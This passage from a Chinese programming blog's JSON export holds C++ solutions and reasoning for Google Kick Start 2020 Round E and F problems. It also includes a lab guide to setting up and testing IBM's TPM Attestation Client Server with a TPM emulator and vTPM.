1$个时间间隔;反之说明当前间隔$j$还需要一个机器人来处理。这样就可以知道当前机器人,最终能经过多少个时间间隔。 这样也超时了吗。。。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273#include <iostream>#include <vector>#include <algorithm>typedef long long ll;using namespace std;int binSearch(vector<pair<ll, ll>>& times, int start, int end, ll target) { int L = start; int R = end; int mid; while (L <= R) { mid = L + ((R - L) >> 1); if (times[mid].second <= target) { L = mid + 1; } else if (mid == start || times[mid - 1].second <= target) { return mid; } else { R = mid - 1; } } return -1;}ll cal (int N, int K) { vector<pair<ll, ll>> times(N); for (int i = 0; i < N; ++i) { cin >> times[i].first >> times[i].second; } sort(times.begin(), times.end(), [](const pair<ll, ll>& A, const pair<ll, ll>& B) -> bool { return A.first < B.first; }); ll robot_end = 0; ll count = 0; int time_pos = 0; while (time_pos < N) { robot_end = times[time_pos].first + K; int pos = binSearch(times, time_pos, N - 1, robot_end); ++count; if (pos == -1) { break; } time_pos = pos; if (robot_end > times[time_pos].first) { times[time_pos].first = robot_end; } } return count;}int main() { int T, N, K; cin >> T; for (int i = 1; i <= T; ++i) { cin >> N >> K; cout << "Case #" << i << ": " << cal(N, K) << endl; } return 0;} 优化经过分析发现,上述方法忽略了一种极端情况。即当一个时间间隔非常大的时候,在该间隔内可能需要很多的机器人,但是如果对其中每一个机器人都调用二分查找的话,则会浪费大量的时间。 新增了一个计算$num = UPDIV(E_i - S_i, K)$,来计算出当前间隔需要多少个机器人。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879#include <iostream>#include <vector>#include <algorithm>#define UPDIV(A, X) (((A) + (X) - 1) / (X))typedef long long ll;using namespace std;int binSearch(vector<pair<ll, ll>>& times, int start, int end, ll target) { int L = start; int R = end; int mid; while (L <= R) { mid = L + ((R - L) >> 1); if (times[mid].second <= target) { L = mid + 1; } else if (mid == start || times[mid - 1].second <= target) { return mid; } else { R = mid - 1; } } return -1;}ll cal (int N, int K) { vector<pair<ll, ll>> times(N); for (int i = 0; i < N; ++i) { cin >> times[i].first >> times[i].second; } sort(times.begin(), times.end(), [](const pair<ll, ll>& A, const pair<ll, ll>& B) -> bool { return A.first < B.first; }); ll robot_end = 0; ll count = 0; int time_pos = 0; while (time_pos < N) { ll num = UPDIV(times[time_pos].second - times[time_pos].first, K); robot_end = times[time_pos].first + num * K; int pos = binSearch(times, time_pos, N - 1, robot_end); count += num; if (pos == -1) { break; } time_pos = pos; if (robot_end > times[time_pos].first) { times[time_pos].first = robot_end; } } return count;}int main() { int T, N, K; cin >> T; for (int i = 1; i <= T; ++i) { cin >> N >> K; cout << "Case #" << i << ": " << cal(N, K) << endl; } return 0;} Painters’ Duel解题思路博弈类型的题实在是不熟悉,因此主要思路参考了文章:[Google Kickstart 2020][校招笔试][Round F]全部题目+题解 整体方法来说就是暴力穷举,通过递归的方式,让A和B做一次最佳的决策,然后再进一步分析后续的可能。如果当前最佳策略存在多种,那么就遍历所有可能,寻找出最佳的结果。因此关键在于什么样的策略是最佳的决策。 对于这道题,A的最优策略就是走尽可能多的房间,B的最优策略就是让A走尽可能少的房间。因此当A走出一步的时候,B要找出当前所有可能的下一步中得分最少的选择;而A则需要在所有当前所有可能的下一步中,找出得分最多的选择(在B的阻碍之下)。 所以题目就抽象成了: 遍历A当前所有的下一步 $ Next_A_i $ 然后进一步遍历B基于 $ Next_A_i $ 的所有下一步 $ Next_B_i $ 从所有的 $ Next_B_i $ 中,找出使得得分最少的那一个 $ Next_B $ 因此A当前所有的下一步均有一个最少得分 $ MIN_i $ ,A再从中选出得分最高的下一步。 这里出题人给的样例范围确实很巧妙,暴力法竟然没有超时。但是优化的话,很容易联想到剪枝和记忆化。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182#include <iostream>#include <vector>#include <algorithm>#define BLOCK 0#define FREE 1#define MAXDIRS 4typedef long long ll;using namespace std;class Solution {public: Solution() { cin >> S >> RA >> PA >> RB >> PB >> C; free.resize(S * S, FREE); for (int i = 0; i < C; ++i) { int x, y; cin >> x >> y; free[transform(x, y)] = BLOCK; } free[transform(RA, PA)] = BLOCK; free[transform(RB, PB)] = BLOCK; } int solve() { return trace(RA, PA, RB, PB); }private: // turn = true -> A // turn = false -> B int trace(int RA_, int PA_, int RB_, int PB_) { int maxPossible = 1 << 31; bool FLAGA = false; for (int dirA = 0; dirA < MAXDIRS; ++dirA) { int Next_RA = RA_; int Next_PA = PA_; if (canGo(dirA, Next_RA, Next_PA)) { FLAGA = true; free[transform(Next_RA, Next_PA)] = BLOCK; int minPossible = 0x3f3f3f3f; bool FLAGB = false; for (int dirB = 0; dirB < MAXDIRS; ++dirB) { int Next_RB = RB_; int Next_PB = PB_; if (canGo(dirB, Next_RB, Next_PB)) { FLAGB = true; free[transform(Next_RB, Next_PB)] = BLOCK; // 此处之所以不累加得分是因为,A走了,B也走了,那就抵消了 minPossible = min(minPossible, trace(Next_RA, Next_PA, Next_RB, Next_PB)); free[transform(Next_RB, Next_PB)] = FREE; } } if (!FLAGB) { // painter B can't go minPossible = 1 + trace(Next_RA, Next_PA, RB_, PB_); } free[transform(Next_RA, Next_PA)] = FREE; maxPossible = max(maxPossible, minPossible); } } if (!FLAGA) { // painter A can't go int minPossible = 0x3f3f3f3f; bool FLAGB = false; for (int dirB = 0; dirB < MAXDIRS; ++dirB) { int Next_RB = RB_; int Next_PB = PB_; if (canGo(dirB, Next_RB, Next_PB)) { FLAGB = true; free[transform(Next_RB, Next_PB)] = BLOCK; // A走不了,所以B每走一次得分都要-1 minPossible = min(minPossible, -1 + trace(RA_, PA_, Next_RB, Next_PB)); free[transform(Next_RB, Next_PB)] = FREE; } } maxPossible = minPossible; if (!FLAGB) { // painter A, B can't go return 0; } } return maxPossible; }private: int S, RA, PA, RB, PB, C; vector<int> free; // 1代表free,0代表block int transform(int x, int y) { return (x - 1) * (x - 1) + y - 1; } // dir = 0 -> UP // dir = 1 -> DOWN // dir = 2 -> LEFT // dir = 3 -> RIGHT bool canGo(int dir, int& X, int& Y) { int CP_X = X; int CP_Y = Y; switch (dir) { case 0: if (CP_Y % 2 || CP_X == 1) { return false; } else { --CP_X; --CP_Y; } break; case 1: if (CP_X == S || CP_Y % 2 != 1) { return false; } else { ++CP_X; ++CP_Y; } break; case 2: if (CP_Y == 1) { return false; } else { --CP_Y; } break; case 3: if (CP_Y == CP_X * 2 - 1) { return false; } else { ++CP_Y; } break; default: return false; } if (free[transform(CP_X, CP_Y)] == BLOCK) { return false; } X = CP_X; Y = CP_Y; return true; }};int main() { int T; cin >> T; for (int i = 1; i <= T; ++i) { Solution A; cout << "Case #" << i << ": " << A.solve() << endl; } return 0;} Yeetzhee分析 这题让我回忆起了,学习概率论的痛苦回忆。。。 先对Sample case#1进行分析,$N=3, M = 6, K = 2$,要分成两组,一组数量是1,另一组数量是2。 Pommel投了第一个骰子 Pommel投了第二个骰子 如果前两次结果相同,且都为$x$,那么第三次的结果一定要与$x$不同。 由现有条件可以得知,每次投骰子是独立的,并且结果是满足二项分布的(即,点数与$x$相同,和与$x$不同两种情况)。 这里解释一下,每个概率$p$是如何计算的。对于每个确定的投掷次数$X_i$,其概率满足N重伯努利分布,即投掷$X_i$次,恰好最后一次成功的概率。$$P(X = X_i) = \\binom{X_i - 1}{0}p^0(1 - p)^{X_i - 1} \\cdot p$$ 因此当前投出合法点数的数学期望为:$$ E(X) = \\lim_{n \\to \\infty} \\left (\\sum_{i=0}^{n} p \\left (1 - p \\right )^{n-1} \\right ) = \\frac{1}{p}$$ 投掷次数$X_i$ 1 2 3 … n 概率$P(X = X_i)$ $\\frac{5}{6}$ $\\frac{5}{6} \\times \\frac{1}{6}$ $\\frac{5}{6} \\times (\\frac{1}{6})^2$ … $\\frac{5}{6} \\times (\\frac{1}{6})^{n-1}$ 代入计算可得$E(x) = 1.2$ 如果前两次结果不同,那么第三次的结果必然是前两次结果中的一个,此时的$p=2/6$,同样代入计算可得$E(x) = 3$。 因此总的期望为$1 + 1 + 1.2 \\times \\frac{1}{6} + 3 \\times \\frac{5}{6} = 4.7$,其中$\\frac{1}{6}$为前两次结果相同的概率,$\\frac{5}{6}$为前两次结果不同的概率。 所以对于分组数大于2的情况,每一个骰子的结果都可以分成“合法”和“非法”两种结果,也就意味着其符合二项分布。 这道题的难点在于如何表示状态。因为经过上述的分析,可以发现,我们不关心某个分组的数字具体是几,仅关心新骰子的数字与某个已有分组一致,还是不同。因此可以设$k_i$表示第$i$个分组的骰子数。假设$K=3$,第一次一定是$[1, 0, 0]$,第二次的结果可以是$[2, 0,0]$也可以是$[1, 1, 0]$(前者代表两次的结果相同,后者代表第二次与第一次的结果不同)。 同时我们也不关心,分组之间的顺序。如$[1, 2, 2]$与$[2, 1, 2]$是等价的。 因此我们可以用一个排好序的分组数量来唯一的标识一个状态。 假设$M = 4, K = 2$: 如骰子序列$[1, 2, 2]$,其状态为$[0, 0, 1, 2]$。如果新增一个骰子1,那么状态会变为$[0, 0, 2, 2]$,合法。 如骰子序列$[1, 1, 2]$,其状态为$[0, 0, 1, 2]$。如果新增一个骰子2,那么状态会变为$[0, 0, 2, 2]$,合法。 而骰子序列$[1,1,3]$,其状态为$[0, 0, 1, 2]$。如果新增一个骰子2,那么状态会变为$[0, 1, 1, 2]$,不合法。 解题思路经过上述的分析,其实很容易联想到回溯和动态规划。 整体思路参考了“Lee215”的文章https://mp.weixin.qq.com/s/Mvpe3p0GQ8N0Os4o8Zs2mQ。 这是一个迭代期望的问题,当前状态$S$进入下一状态$S’$,存在一个“投到特定点数的骰子次数的数学期望”,还有一个“所有可能的下一状态$S_{i}^{‘}$距离胜利的期望次数的均值”,两者的和即是当前状态距离胜利次数的数学期望。 之所以要对“所有可能的下一状态距离胜利的期望次数”取均值,这是因为进入每一个下一状态$S_{i}^{‘}$都有各自的概率$p_i$,将其概率$p_i$与距离胜利的期望次数相乘再求和,即是“所有可能的下一状态距离胜利的期望次数的数学期望”。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091#include <iostream>#include <vector>#include <map>typedef long long ll;using namespace std;class Solution {public: Solution() { cin >> N >> M >> K; A.resize(M, 0); status.resize(M, 0); // 初始状态为全0 for (int i = M - K; i < M; ++i) { cin >> A[i]; } StatuMemo[A] = 0.0; } double dfs() { if (StatuMemo.count(status)) { return StatuMemo[status]; } int valid = 0; // 记录总共有多少个合法点数 int i = 0; // 骰子的点数 int j = 0; double res = 0.0; // 距离胜利的期望步数 while (i < M) { j = i; while (j + 1 < M && status[j + 1] == status[i]) { // 由于状态内的数字顺序是可以随意调换的,因此区间[i, j]中如果都是值都一样,那么我们选择最右侧的那个 // 这一步可以理解成,我们对已有的分组进行升序排序,如果我们选择了相等分组中最右的那个,就省去了排序这一步 ++j; } if (status[j] + 1 <= A[j]) { // 可以理解成我投掷了一个点数j,那么其组内的骰子数没有超出我们目标的要求 // 即,状态合法 ++status[j]; valid += j - i + 1; // 因为区间[i, j]在投掷前,数量一致,也就意味着无论选了其中的哪个都是合法的 res += dfs() * (j - i + 1); // 累加所有状态距离胜利的期望步数 --status[j]; } i = j + 1; } double E = M * 1.0 / valid; // 即当前投到合法状态的期望次数 res = res * 1.0 / valid + E; // 对下一个合法状态距离胜利的期望步数求平均值(即求期望),再加上当前进入下一个合法状态所需的期望次数 StatuMemo[status] = res; return res; }private: int N, M, K; vector<int> A; vector<int> status; map<vector<int>, double> StatuMemo; // 存储状态status到离最终状态仍需投骰子次数的数学期望};int main() { int T; cin >> T; cout.precision(7); cout.setf(std::ostream::fixed); for (int i = 1; i <= T; ++i) { Solution A; cout << "Case #" << i << ": " << A.dfs() << endl; } return 0;}","link":"/2021/03/19/Kick-Start-Round-F-2020%E8%A7%A3%E9%A2%98%E8%AE%B0%E5%BD%95/"},{"title":"IBM Attestation Client Server测试","text":"这里仅考虑了vTPM 2.0和 TPM 2.0 Emulator的两种情况。尽管编译时说明了1.2的处理,但是配置部分并未说明,详情可以见参考资料的README。 测试环境 Ubuntu 18.04.5 在Vmware Fusion版本下安装的虚拟机,添加了vTPM芯片。 ibmswtpm2 如果需要 1234567891011mkdir /opt/ibmtpm1637cp ibmtpm1637.tar.gz /opt/ibmtpm1637cd /opt/ibmtpm1637tar -zxvf ibmtpm1637.tar.gzcd srcmakecd /optln -s ibmtpm1637 ibmtpm ibmtpm20tss TPM TSS 1234567891011121314151617181920212223mkdir /opt/ibmtss160/cp ibmtss1.6.0.tar.gz /opt/ibmtss160/cd /opt/ibmtss160/tar -zxvf ibmtss1.6.0.tar.gz# 仅支持TPM 2.0cd utilsmake -f makefiletpm20# Or 同时支持TPM 2.0和TPM 1.2cd utilsmake -f makefiletpmccd utils12make -f makefiletpmc# 如果拥有物理TPM则进行以下设置export TPM_INTERFACE_TYPE=dev# or 如果没有物理TPM则使用以下设置export TPM_INTERFACE_TYPE=socsimln -s /opt/ibmtss160 /opt/ibmtss ibmtpm20acs IBM TPM Attestation Client Server 1234567891011121314151617181920212223242526mkdir /opt/ibmacs1658cp ibmacs1658.tar.gz /opt/ibmacs1658cd /opt/ibmacs1658tar -zxvf ibmacs1658.tar.gz cd acs apt update# 服务端 apt install libjson-c3 libjson-c-dev apache2 php php-dev php-mysql mysql-server libmysqlclient-dev libssl-dev ## 创建数据库 mysql# mysql> create database tpm2;# mysql> CREATE USER 'tpm2ACS'@'localhost' IDENTIFIED BY '123456';# mysql> GRANT ALL ON tpm2.* to 'tpm2ACS'@'localhost';mysql -D tpm2 < dbinit.sql # 客户端 apt install libjson-c3 libjson-c-dev libssl-dev # 设置环境变量export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/ibmtss/utils:/opt/ibmtss/utils12export PATH=$PATH:/opt/ibmtss/utils:/opt/ibmtss/utils12ln -s /opt/ibmacs1658/acs /opt/ibmacs Attestation Demo 因为实验涉及多个终端通信,请确保每个终端都配置好了上述的环境变量,尤其是PATH和LD_LIBRARY_PATH 1234567891011121314151617181920212223# make会将网页相关的内容拷贝到该目录下mkdir /var/www/html/acschown root /var/www/html/acschgrp root /var/www/html/acschmod 777 /var/www/html/acs# 编译ACSln -s /usr/include/json-c /usr/include/json## For TPM 2.0 client and serverexport CPATH=/opt/ibmtss/utilsexport LIBRARY_PATH=/opt/ibmtss/utilsmake## Or For TPM 1.2 client (requires TPM 1.2 / TPM 2.0 server)export CPATH=/opt/ibmtss/utils:/opt/ibmtss/utils12export LIBRARY_PATH=/opt/ibmtss/utils:/opt/ibmtss/utils12make -f makefiletpm12## Or For TPM 1.2 and TPM 2.0 client and TPM 1.2 / TPM 2.0 serverexport CPATH=/opt/ibmtss/utils:/opt/ibmtss/utils12export LIBRARY_PATH=/opt/ibmtss/utils:/opt/ibmtss/utils12make -f makefiletpmc 然后访问localhost:80/acs即可。 这个时候可能会出现一些关于MySQL的错误,这是由于MySQL的一些环境变量没有设置好导致的。在启动服务部分有相关的环境变量设置。 相关配置准备EK 对于TPM模拟器,相关的CA证书,在软件安装的时候已经被创建了,不需要手动创建。如果想要修改相关证书,可以参照ibmacs的README.txt文件。 此处仅需要为软件TPM创建EK证书。 1234567891011121314151617# 终端1cd /opt/ibmtpm/src./tpm_server# 终端2cd /opt/ibmtss/utils./powerup./startup## 由于这些证书是写在NV中的,因此可以事先将原来的NV备份cp /opt/ibmtpm/src/NVChip /opt/ibmtpm/src/NVChip.bak## 将RSA EK证书写入到NV中createekcert -rsa 2048 -cakey cakey.pem -capwd rrrr -v## 将ECC EK证书写入到NV中createekcert -ecc nistp256 -cakey cakeyecc.pem -capwd rrrr -caalg ec -v 对于硬件TPM,则在其NV区域已经内置了EK证书。如果想要将其提取出来可以参照下列步骤: 读取NV存储区内的EK证书信息,并将其保存到文件。 12345# 创建RSA证书文件nvread -ha 01c00002 | awk 'NR==1 {next} {print}' | xxd -r -ps | base64 | sed -e '1i -----BEGIN CERTIFICATE-----' -e '$a -----END CERTIFICATE-----' > VMW_EK_CACERT.pem# 同理创建ECC证书文件nvread -ha 01c0000a | awk 'NR==1 {next} {print}' | xxd -r -ps | base64 | sed -e '1i -----BEGIN CERTIFICATE-----' -e '$a -----END CERTIFICATE-----' > VMW_EKECC_CACERT.pem 上述命令的部分步骤解释及执行效果如下: 从NV存储区读取出vTPM内置的EK证书 12# 句柄地址01c00002nvread -ha 01c00002 读取的结果是打印字符,因此需要将其转化为pem的格式。awk命令用于删除第一行的“nvread: data length 1090”;xxd则用于将16进制字符串转化为二进制文件;base64则是对二进制数据进行编码。 1nvread -ha 01c00002 | awk 'NR==1 {next} {print}' | xxd -r -ps | base64 尝试再为其添加开始和结束标签。用sed为其开头和结尾添加信息。 1nvread -ha 01c00002 | awk 'NR==1 {next} {print}' | xxd -r -ps | base64 | sed -e '1i -----BEGIN CERTIFICATE-----' -e '$a -----END CERTIFICATE-----' 如果硬件TPM的EK证书提取失败,可能需要考虑 启动服务服务器使用TPM作为加密协处理器。它必须指向不同的(通常是软件)TPM和TSS数据目录。 12345678910# 如果服务器和客户端位于同一台机器mkdir ~/tpm2export TPM_DATA_DIR=~/tpm2# 如果运行在不同的机器,则直接启动TPM Emulator即可# vTPM不需要这些步骤/opt/ibmtpm/src/tpm_server/opt/ibmtss/utils/powerup/opt/ibmtss/utils/startup 编辑文件/opt/ibmtss/utils/certificates/rootcerts.txt。该文件是记录了CA根证书列表,server会根据这个列表来判断客户的TPM是否可信。 12# 使用vim进行全局替换# :%s/\\/gsa\\/yktgsa\\/home\\/k\\/g\\/kgold\\/tpm2/\\/opt\\/ibmtss/g 设置ACS端口 1export ACS_PORT=2323 设置MySQL环境变量 但这种方式可能失效,如果还是不起作用,可以vim /var/www/html/acs/dbconnect.php,修改$connect = new mysqli("localhost", "tpm2ACS", "123456", "tpm2"); 。 1234567# ACS_SQL_HOST - defaults to localhost# ACS_SQL_PORT - defaults to 0, MySQL will use its default# ACS_SQL_USERID - defaults to current user# ACS_SQL_PASSWORD - defaults to empty# ACS_SQL_DATABASE - defaults to tpm2export ACS_SQL_USERID=tpm2ACSexport ACS_SQL_PASSWORD=123456 启动服务 123cd /opt/ibmacs./server -v -root /opt/ibmtss/utils/certificates/rootcerts.txt -imacert imakey.der >| serverenroll.log4j 设置客户端向证实服务器安装客户端的证实密钥证书。 123456789cd /opt/ibmacs# 如果指定了ACS_DIR,那么客户端会在此处存放AK的公私钥# 本地./clientenroll -alg rsa -v -ho localhost -co akcert.pem >| clientenroll.log4j# 远程./clientenroll -alg ec -v -ho server_name -ma client_name -co akeccert.pem >| clientenroll.log4j 图上的机器“chaos”代表的是,客户端和服务器位于同一设备;而“192.168.44.151”代表的是客户端和服务器位于不同设备。 注册过程可能会出现错误。 原因如下,说明该vTPM的Root CA证书不在服务器的合法TPM厂商列表中。 The server validates the EK certificate against its list of TPM vendor root certificates. If the certificate is valid, the server trusts that the certificate came from an authentic TPM, but not that it came from the client’s TPM. 处理方法如下:找到给TPM EK证书的CA证书,然后导入到合法TPM厂商列表中。 启动证实 如果使用的是TPM模拟器,那么在其内的PCR寄存器是不会记录启动数据的,因此需要人为的将一些日志信息Extend到PCR中。同样IMA的信息也是需要人为Extend到PCR中。 但如果使用的是硬件TPM,那么可以忽略。此外,在/sys/kernel/security/tpm0/binary_bios_measurements可以获取TPM的BIOS度量日志;在/sys/kernel/security/ima/binary_runtime_measurements可以获取IMA的运行时度量日志。 123456789101112# tpm2bios.log是一个的事件日志/opt/ibmtss/utils/eventextend -if tpm2bios.log -tpm -v >| b.log4j # imasig.log是一个IMA日志/opt/ibmtss/utils/imaextend -if imasig.log -le -v >| i.log4j# 发起一个证实## 本地./client -alg rsa -ifb tpm2bios.log -ifi imasig.log -ho localhost -v >| client.log4j## 远程./client -alg ec -ifb tpm2bios.log -ifi imasig.log -ho server_name -v -ma client_name >| client.log4j 因为没有对IMA证书进行配置,因此这里出现了签名验证不通过的情况。 失败的远程服务器的错误原因为,Quote信息和度量日志不匹配。 ACS Web这里展示一些从ACS Web能够获取的信息。 点击Report,可以获取到quote和签名信息。 点击BIOS Events,可以获取到度量日志。 点击IMA Events,可以获取到IMA度量日志。 客户端的最小化安装客户端仅有两个命令clientenroll和client。clientenroll用于向服务器注册,而client用于发起证实请求。 最小化安装TSS。 1234567# 如果要安装在硬件TPM上cd /opt/ibmtss/utils# 在CCFLAGS处添加-DTPM_NOSOCKETvim makefile.minmake -f makefile.min 最小化安装客户端 123456cd /opt/ibmacsmake clientmake clientenroll# 如果要最小化安装服务端# make server 相关资料[1] IBM ACS README [2] AttestProv [3] IMA Log Format","link":"/2021/02/28/IBM-Attestation-Client-Server%E6%B5%8B%E8%AF%95/"},{"title":"Kick Start Round E 2020解题记录","text":"Longest Arithmetic解题思路滑动窗口法,因为我进关注当前值,上一个数的值,以及上一个数和上上一个数的差值,以及窗口的左侧位置。因此没必要使用一个数组来专门存储这个数列的值。 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253#include <iostream>#include <vector>#include <map>typedef long long ll;using namespace std;ll cal() { int N; cin >> N; int start = 0; ll dif = 0; ll pre = 0; ll cur = 0; int maxLen = 2; cin >> pre >> cur; dif = cur - pre; pre = cur; for (int i = 2; i < N; ++i) { cin >> cur; if (cur - pre != dif) { maxLen = max(maxLen, i - start); dif = cur - pre; start = i - 1; } pre = cur; } maxLen = max(maxLen, N - start); return maxLen;}int main() { int T; cin >> T;// cout.precision(7);// cout.setf(std::ostream::fixed); for (int i = 1; i <= T; ++i) { cout << "Case #" << i << ": " << cal() << endl; } return 0;} High Buildings解题思路可以观察得出,从左到右,有A个数递增,有B个数递减,A和B的交集为C。然后可以计算得出有$N - (A + B - C)$个数全程不可见。并且,很容易发现,仅有最大值才可以被A和B同时看到。 这道题很容易分析出的是当$N < A + B - C$时,是不可能的情况。但是对于$A = 1, B = 1, N > 1$的情况容易遗漏,因为只要最大值位于一端,另一端的结果必然大于2。 这里补充一个,个人很容易遗落的情况:N = 5, A = 3, B = 3, C = 3是可能的。也即最大值不一定相邻。 一个可能的解为[5, 1, 5, 1, 5]。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485#include <iostream>#include <vector>typedef long long ll;using namespace std;template<typename T>std::ostream& operator<<(std::ostream& o, std::vector<T> const& v){ for (const auto &item : v) { o << " " << item; } return o;}vector<int> cal() { int N, A, B, C; cin >> N >> A >> B >> C; int invisible = N - A - B + C; if (invisible < 0 || (A == 1 && B == 1 && N > 1)) { return {}; } A -= C; B -= C; vector<int> path(N, 0); int L = 0; int R = N - 1; if (A == 0) { ++L; path[0] = N; --C; } if (B == 0) { --R; path[N - 1] = N; --C; } for (int i = 0; i < A; ++i, ++L) { path[L] = N - 1; } for (int i = 0; i < invisible; ++i, ++L) { path[L] = 1; } for (int i = 0; i < C; ++i, ++L) { path[L] = N; } for (int i = L; i <= R; ++i) { path[i] = N - 1; } return path;}int main() { int T; cin >> T;// cout.precision(7);// cout.setf(std::ostream::fixed); for (int i = 1; i <= T; ++i) { auto path = cal(); if (path.empty()) { cout << "Case #" << i << ": " << "IMPOSSIBLE" << endl; } else { cout << "Case #" << i << ":" << path << endl; } } return 0;} Toys解题思路这道题求解,要使玩玩具的时间尽可能长的情况,以及满足最长时间的保留最多(删除最少)的玩具数量。根据题目的意思能够得到一个最为重要的结论:最多两轮,就可以知道玩具能否无限玩下去。 设sum的初值为初始所有玩具的游玩时间总和。那么一旦存在$E_i + R_i > sum$的情况,就说明玩具i会导致不能无限玩下去;那么就可以删除玩具i,从而导致sum被更新。而sum的更新处理,可以从$max(E_i + R_i)$开始;因为如果非最大值的玩具j要被删除,从而导致了sum变得更小,那么最大玩具s的必然也要被删除。经过上述的删除处理,如果仍有玩具存在,那么必然是可以无限玩下去的。 反之,则需要找出那个最大值。根据sum部分的处理,可以得出一个结论,一个玩具的删除与它的游玩顺序没有关系。因此可以令当前游玩时间cur_time的初值为sum,从第二轮开始分析。第二轮设置一个序列,将玩具逐一插入,并将其的游玩时间累加到cur_time中。如果该玩具不满足$E_i + R_i \\leqslant sum$要被删除,则cur_time不记录它的第二轮时间并减去第一轮计算它的时间,同时更新sum。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111#include <iostream>#include <list>#include <vector>#include <limits.h>#include <queue>using namespace std;#define INF -1struct node { int E; int R; node(int x, int y) : E(x), R(y) {} bool operator< (const node& b) const { return E + R < b.E + b.R; }};pair<int64_t, int> solve(vector<node>& toys) { int64_t cur_time = 0; int cur_remove = 0; int64_t max_time = 0; int min_remove = 0; int64_t sum = 0; bool inf_flag = true; priority_queue<node> Q; for (int i = 0; i < toys.size(); ++i) { sum += toys[i].E; if (toys[i].E + toys[i].R > sum) { inf_flag = false; } } if (inf_flag) { return make_pair(INF, 0); } cur_time = sum; max_time = sum; for (int i = 0; i < toys.size(); ++i) { Q.push(toys[i]); cur_time += toys[i].E; while (!Q.empty()) { auto p = Q.top(); if (p.E + p.R > sum) { Q.pop(); cur_time -= 2 * p.E; sum -= p.E; ++cur_remove; continue; } break; } if (cur_time > max_time) { max_time = cur_time; min_remove = cur_remove; } } if (!Q.empty()) { max_time = INF; min_remove = toys.size() - Q.size(); } return make_pair(max_time, min_remove);}int main(){ int T; int N; cin >> T; for (int i = 1; i <= T; ++i) { cin >> N; vector<node> toys; for (int j = 0; j < N; ++j) { int E, R; cin >> E >> R; toys.emplace_back(E, R); } auto r = solve(toys); if (r.first== INF) { cout << "Case #" << i << ": " << r.second << " INDEFINITELY" << endl; } else { cout << "Case #" << i << ": " << r.second << " " << r.first << endl; } } return 0;} Golden Stone###解题思路 这道题求解的是合成金块的最小代价。 那么可以构造一个代价矩阵$C_{junction, stone_type}$,该矩阵存储的是在街口$junction_i$获取$stone_type_i$所需的代价。又因为这个代价的数值是与将石头移动的距离成正比的,所以需要求两点间的最短路径。 (求最短路径可以用Dijkstra或者Bellman–Ford算法,但由于Dijkstra可以用小顶堆优化,因此Dijkstra更优。) 因此松弛操作就涉及两部分: 根据边来缩短代价,即$C_{from,stone_type} + 1 < C_{to,stone_type}$ 尝试用配方来缩短代价,即$recipt_cost < C_{junction, stone_type}$ 与之对应的,这里就涉及到了另外几个问题: 某一种矿也许能在多个路口获得,这也就意味着,源可能不止一个。但是代价矩阵C仅有一个(使用多个再合并的代价有点高),该如何处理 配方也同样可以存在多种不同的配方得到同一种矿,那么该如何存储和处理配方。 第一个问题可以用在节点入队的时候携带其最短路径的距离,以及Dijkstra的特性处理即可。即如果某个节点的代价比其从队列取出来的更低时,意味着该节点已经被更新,且能确保是最优的。这是由于Dijkstra是由近到远进行更新的,并且每条边的权重相同,先访问的必然不会比后访问的更远。 第二个问题则参考了ecnerwala的处理(自己真想不到)。他的核心在于构建了4个数组: users用于记录某种石头s相关的配方r; num_inputs表示配方r所需的石头数量; product表示配方r所产生的石头t; recipe_dist用于记录在路口v合成配方r所需的总代价,同时维护一个已使用石头的计数器 这样就可以在遍历节点的过程中,同时尝试配方。即某种配方所需的石头均已被遍历(满足$recipe_dist[r][v].count == num_inputs[r]$),那么尝试使用配方的代价能否降低获取该石头t的代价。同样,第一次满足配方为最优,也是由Dijkstra算法保证的,即在此之前条件还未满足。 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137#include <iostream>#include <string>#include <cstdio>#include <vector>#include <set>#include <map>#include <queue>#include <algorithm>using namespace std;using i64 = int64_t;const i64 INF = 0x007fffffffffffff;void solve(i64 which) { i64 V, E, S, R; cin >> V >> E >> S >> R; vector<vector<i64>> graph(V); for (i64 i = 0; i < E; ++i) { i64 u, v; cin >> u >> v; --u; --v; graph[u].push_back(v); graph[v].push_back(u); } vector<vector<i64>> stones(V); for (i64 i = 0; i < V; ++i) { i64 k; cin >> k; for (i64 j = 0; j < k; ++j) { i64 s; cin >> s; --s; stones[i].push_back(s); } } vector<vector<i64>> user(S); vector<i64> num_input(R); vector<i64> product(R); for (i64 i = 0; i < R; ++i) { i64 k; cin >> k; num_input[i] = k; for (i64 j = 0; j < k; ++j) { i64 s; cin >> s; --s; user[s].push_back(i); } i64 t; cin >> t; --t; product[i] = t; } vector<vector<i64>> stone_cost(S, vector<i64>(V, INF)); vector<vector<pair<i64, i64>>> recipe_cost(R, vector<pair<i64, i64>>(V, make_pair(0, 0))); // cost, stone, junction priority_queue<pair<i64, pair<i64, i64>>, vector<pair<i64, pair<i64, i64>>>, greater<>> Q; // init for (i64 i = 0; i < V; ++i) { for (i64 j : stones[i]) { stone_cost[j][i] = 0; Q.push(make_pair(0, make_pair(j, i))); } } while (!Q.empty()) { i64 c = Q.top().first; // cost i64 s = Q.top().second.first; // stone i64 v = Q.top().second.second; // junction Q.pop(); if (stone_cost[s][v] < c) { continue; } for (i64 r : user[s]) { recipe_cost[r][v].first++; recipe_cost[r][v].second += c; if (recipe_cost[r][v].first == num_input[r]) { i64 t = product[r]; i64 nc = recipe_cost[r][v].second; if (nc < stone_cost[t][v]) { stone_cost[t][v] = nc; Q.push(make_pair(nc, make_pair(t, v))); } } } for (i64 to : graph[v]) { if (c + 1 < stone_cost[s][to]) { stone_cost[s][to] = c + 1; Q.push(make_pair(c + 1, make_pair(s, to))); } } } i64 r = 